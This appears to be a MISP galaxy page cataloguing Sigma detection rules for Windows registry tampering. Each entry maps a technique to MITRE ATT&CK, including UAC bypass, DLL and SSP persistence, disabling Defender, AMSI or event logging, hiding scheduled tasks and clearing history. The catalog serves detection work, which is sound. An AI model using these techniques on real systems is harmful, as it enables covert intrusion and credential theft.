https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml

UAC Disabled

Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0.

The tag is: *misp-galaxy:sigma-rules="UAC Disabled"*

View relationships graph

UAC Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14565. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable.yml

Add Debugger Entry To Hangs Key For Persistence

Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes

The tag is: *misp-galaxy:sigma-rules="Add Debugger Entry To Hangs Key For Persistence"*

Table 14566. Table References

Links
https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/
https://persistence-info.github.io/Data/wer_debugger.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml

New DNS ServerLevelPluginDll Installed

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

The tag is: *misp-galaxy:sigma-rules="New DNS ServerLevelPluginDll Installed"*

View relationships graph

New DNS ServerLevelPluginDll Installed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14567. Table References

Links
https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_server_level_plugin_dll.yml

Registry Explorer Policy Modification

Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)

The tag is: *misp-galaxy:sigma-rules="Registry Explorer Policy Modification"*

View relationships graph

Registry Explorer Policy Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14568. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml

Modification of IE Registry Settings

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert JavaScript for persistence

The tag is: *misp-galaxy:sigma-rules="Modification of IE Registry Settings"*

View relationships graph

Modification of IE Registry Settings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14569. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ie.yml

Disable Microsoft Defender Firewall via Registry

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage

The tag is: *misp-galaxy:sigma-rules="Disable Microsoft Defender Firewall via Registry"*

View relationships graph

Disable Microsoft Defender Firewall via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 14570. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml

Enable Microsoft Dynamic Data Exchange

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

The tag is: *misp-galaxy:sigma-rules="Enable Microsoft Dynamic Data Exchange"*

View relationships graph

Enable Microsoft Dynamic Data Exchange has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

Table 14571. Table References

Links
https://msrc.microsoft.com/update-guide/vulnerability/ADV170021

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml

Folder Removed From Exploit Guard ProtectedFolders List - Registry

Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder

The tag is: *misp-galaxy:sigma-rules="Folder Removed From Exploit Guard ProtectedFolders List - Registry"*

View relationships graph

Folder Removed From Exploit Guard ProtectedFolders List - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14572. Table References

Links
https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml

Removal Of SD Value to Hide Schedule Task - Registry

Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware

The tag is: *misp-galaxy:sigma-rules="Removal Of SD Value to Hide Schedule Task - Registry"*

View relationships graph

Removal Of SD Value to Hide Schedule Task - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14573. Table References

Links
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml

Windows Credential Guard Related Registry Value Deleted - Registry

Detects attempts to disable Windows Credential Guard by deleting registry values. Credential Guard uses virtualization-based security to isolate secrets so that only privileged system software can access them. Adversaries may disable Credential Guard to gain access to sensitive credentials stored in the system, such as NTLM hashes and Kerberos tickets, which can be used for lateral movement and privilege escalation.

The tag is: *misp-galaxy:sigma-rules="Windows Credential Guard Related Registry Value Deleted - Registry"*

View relationships graph

Windows Credential Guard Related Registry Value Deleted - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14574. Table References

Links
https://github.com/DambergC/SaveFolder/blob/90e945eba80fae85f2d54b4616e05a44ec90c500/Cygate%20Installation%20tool%206.22/Script/OSD/OSDeployment-CredentialGuardDisable.ps1#L50
https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/configure
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_disable_credential_guard.yml

Delete Defender Scan ShellEx Context Menu Registry Key

Detects deletion of registry key that adds 'Scan with Defender' option in context menu. Attackers may use this to make it harder for users to scan files that are suspicious.

The tag is: *misp-galaxy:sigma-rules="Delete Defender Scan ShellEx Context Menu Registry Key"*

Table 14575. Table References

Links
https://winaero.com/how-to-delete-scan-with-windows-defender-from-context-menu-in-windows-10/
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/

https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
https://research.splunk.com/endpoint/395ed5fe-ad13-4366-9405-a228427bdd91/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_defender_context_menu.yml

Terminal Server Client Connection History Cleared - Registry

Detects the deletion of registry keys containing the MSTSC connection history

The tag is: *misp-galaxy:sigma-rules="Terminal Server Client Connection History Cleared - Registry"*

View relationships graph

Terminal Server Client Connection History Cleared - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14576. Table References

Links
http://woshub.com/how-to-clear-rdp-connections-history/
https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html
https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml

Removal of Potential COM Hijacking Registry Keys

Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.

The tag is: *misp-galaxy:sigma-rules="Removal of Potential COM Hijacking Registry Keys"*

View relationships graph

Removal of Potential COM Hijacking Registry Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-

language:likelihood-probability="almost-certain"

Table 14577. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/shell/launch
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md
https://github.com/OTRF/detection-hackathon-apt29/issues/7
https://learn.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code
https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml

Removal Of AMSI Provider Registry Keys

Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.

The tag is: *misp-galaxy:sigma-rules="Removal Of AMSI Provider Registry Keys"*

View relationships graph

Removal Of AMSI Provider Registry Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14578. Table References

Links
https://seclists.org/fulldisclosure/2020/Mar/45
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml

Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes

that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

The tag is: *misp-galaxy:sigma-rules="Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted"*

View relationships graph

Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 14579. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
https://learn.microsoft.com/en-us/windows/client-management/manage-recall
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_enable_windows_recall.yml

RunMRU Registry Key Deletion - Registry

Detects attempts to delete the RunMRU registry key, which stores the history of commands executed via the run dialog. In the clickfix techniques, the phishing lures instruct users to open a run dialog through (Win + R) and execute malicious commands. Adversaries may delete this key to cover their tracks after executing commands.

The tag is: *misp-galaxy:sigma-rules="RunMRU Registry Key Deletion - Registry"*

View relationships graph

RunMRU Registry Key Deletion - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 14580. Table References

Links
https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_runmru.yml

Removal Of Index Value to Hide Schedule Task - Registry

Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"

The tag is: *misp-galaxy:sigma-rules="Removal Of Index Value to Hide Schedule Task - Registry"*

View relationships graph

Removal Of Index Value to Hide Schedule Task - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14581. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal.yml

Atbroker Registry Change

Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'

The tag is: *misp-galaxy:sigma-rules="Atbroker Registry Change"*

View relationships graph

Atbroker Registry Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 14582. Table References

Links
http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/
https://lolbas-project.github.io/lolbas/Binaries/Atbroker/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml

New PortProxy Registry Entry Added

Detects the modification of the PortProxy registry key which is used for port forwarding.

The tag is: *misp-galaxy:sigma-rules="New PortProxy Registry Entry Added"*

View relationships graph

New PortProxy Registry Entry Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 14583. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://www.dfirnotes.net/portproxy_detection/
https://adepts.of0x.cc/netsh-portproxy-code/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml

New DLL Added to AppCertDlls Registry Key

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: *misp-galaxy:sigma-rules="New DLL Added to AppCertDlls Registry Key"*

View relationships graph

New DLL Added to AppCertDlls Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

Table 14584. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html
http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml

Windows Registry Trust Record Modification

Alerts on trust record modification within the registry, indicating usage of macros

The tag is: *misp-galaxy:sigma-rules="Windows Registry Trust Record Modification"*

View relationships graph

Windows Registry Trust Record Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14585. Table References

Links
https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/
http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html
https://twitter.com/inversecos/status/1494174785621819397
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_trust_record_modification.yml

Windows Defender Threat Severity Default Action Modified

Detects modifications or creations of Windows Defender's default threat action settings based on severity to 'allow' or take 'no action'. This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level, allowing malicious software to run unimpeded. An attacker might use this technique to bypass defenses before executing payloads.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Threat Severity Default Action Modified"*

View relationships graph

Windows Defender Threat Severity Default Action Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14586. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference
https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-threatseveritydefaultaction
https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2

https://research.splunk.com/endpoint/7215831c-8252-4ae3-8d43-db588e82f952
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_defender_threat_action_modified.yml

Registry Persistence Mechanisms in Recycle Bin

Detects persistence registry keys for Recycle Bin

The tag is: *misp-galaxy:sigma-rules="Registry Persistence Mechanisms in Recycle Bin"*

View relationships graph

Registry Persistence Mechanisms in Recycle Bin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 14587. Table References

Links
https://persistence-info.github.io/Data/recyclebin.html
https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/
https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml

Shell Open Registry Keys Manipulation

Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)

The tag is: *misp-galaxy:sigma-rules="Shell Open Registry Keys Manipulation"*

View relationships graph

Shell Open Registry Keys Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 14588. Table References

Links
https://github.com/hfiref0x/UACME
https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass
https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021][https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml

Run Once Task Configuration in Registry

Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup

The tag is: *misp-galaxy:sigma-rules="Run Once Task Configuration in Registry"*

View relationships graph

Run Once Task Configuration in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14589. Table References

Links
https://twitter.com/pabraeken/status/990717080805789697
https://lolbas-project.github.io/lolbas/Binaries/Runonce/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml

Narrator’s Feedback-Hub Persistence

Detects abusing Windows 10 Narrator’s Feedback-Hub

The tag is: *misp-galaxy:sigma-rules="Narrator’s Feedback-Hub Persistence"*

View relationships graph

Narrator’s Feedback-Hub Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14590. Table References

Links

https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml

Creation of a Local Hidden User Account by Registry

Sysmon registry detection of a local hidden user account.

The tag is: *misp-galaxy:sigma-rules="Creation of a Local Hidden User Account by Registry"*

View relationships graph

Creation of a Local Hidden User Account by Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 14591. Table References

Links
https://twitter.com/SBousseaden/status/1387530414185664538
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml

UAC Bypass Via Wsreset

Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Via Wsreset"*

View relationships graph

UAC Bypass Via Wsreset has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14592. Table References

Links
https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly
https://lolbas-project.github.io/lolbas/Binaries/Wsreset
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml

New DLL Added to AppInit_DLLs Registry Key

DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll

The tag is: *misp-galaxy:sigma-rules="New DLL Added to AppInit_DLLs Registry Key"*

View relationships graph

New DLL Added to AppInit_DLLs Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"

Table 14593. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml

Esentutl Volume Shadow Copy Service Keys

Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured.

The tag is: *misp-galaxy:sigma-rules="Esentutl Volume Shadow Copy Service Keys"*

View relationships graph

Esentutl Volume Shadow Copy Service Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 14594. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml

Registry Entries For Azorult Malware

Detects the presence of a registry key created during Azorult execution

The tag is: *misp-galaxy:sigma-rules="Registry Entries For Azorult Malware"*

View relationships graph

Registry Entries For Azorult Malware has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14595. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml

Potential Qakbot Registry Activity

Detects a registry key used by IceID in a campaign that distributes malicious OneNote files

The tag is: *misp-galaxy:sigma-rules="Potential Qakbot Registry Activity"*

View relationships graph

Potential Qakbot Registry Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14596. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_malware_qakbot_registry.yml

Windows Credential Editor Registry

Detects the use of Windows Credential Editor (WCE)

The tag is: *misp-galaxy:sigma-rules="Windows Credential Editor Registry"*

View relationships graph

Windows Credential Editor Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14597. Table References

Links
https://www.ampliasecurity.com/research/windows-credentials-editor/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml

Path To Screensaver Binary Modified

Detects value modification of registry key containing path to binary used as screensaver.

The tag is: *misp-galaxy:sigma-rules="Path To Screensaver Binary Modified"*

View relationships graph

Path To Screensaver Binary Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

Table 14598. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml

Disable Security Events Logging Adding Reg Key MiniNt

Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stop writing events.

The tag is: *misp-galaxy:sigma-rules="Disable Security Events Logging Adding Reg Key MiniNt"*

View relationships graph

Disable Security Events Logging Adding Reg Key MiniNt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14599. Table References

Links

https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
https://twitter.com/0gtweet/status/1182516740955226112
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml

Office Application Startup - Office Test

Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started

The tag is: *misp-galaxy:sigma-rules="Office Application Startup - Office Test"*

View relationships graph

Office Application Startup - Office Test has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"

Table 14600. Table References

Links
https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml

Registry Tampering by Potentially Suspicious Processes

Detects suspicious registry modifications made by suspicious processes such as script engine processes such as WScript, or CScript etc. These processes are rarely used for legitimate registry modifications, and their activity may indicate an attempt to modify the registry without using standard tools like regedit.exe or reg.exe, potentially for evasion and persistence.

The tag is: *misp-galaxy:sigma-rules="Registry Tampering by Potentially Suspicious Processes"*

View relationships graph

Registry Tampering by Potentially Suspicious Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 14601. Table References

Links
https://www.nextron-systems.com/2025/07/29/detecting-the-most-popular-mitre-persistence-method-registry-run-keys-startup-folder/
https://www.linkedin.com/posts/mauricefielenbach_livingoffthelandredteam-persistence-activity-7344801774182051843-TE00/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_process_registry_modification.yml

Suspicious Run Key from Download

Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories

The tag is: *misp-galaxy:sigma-rules="Suspicious Run Key from Download"*

View relationships graph

Suspicious Run Key from Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14602. Table References

Links
https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml

HybridConnectionManager Service Installation - Registry

Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.

The tag is: *misp-galaxy:sigma-rules="HybridConnectionManager Service Installation - Registry"*

View relationships graph

HybridConnectionManager Service Installation - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"

Table 14603. Table References

Links
https://twitter.com/Cyb3rWard0g/status/1381642789369286662
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml

Security Support Provider (SSP) Added to LSA Configuration

Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.

The tag is: *misp-galaxy:sigma-rules="Security Support Provider (SSP) Added to LSA Configuration"*

View relationships graph

Security Support Provider (SSP) Added to LSA Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"

Table 14604. Table References

Links
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Install-SSP.ps1#L157
https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/
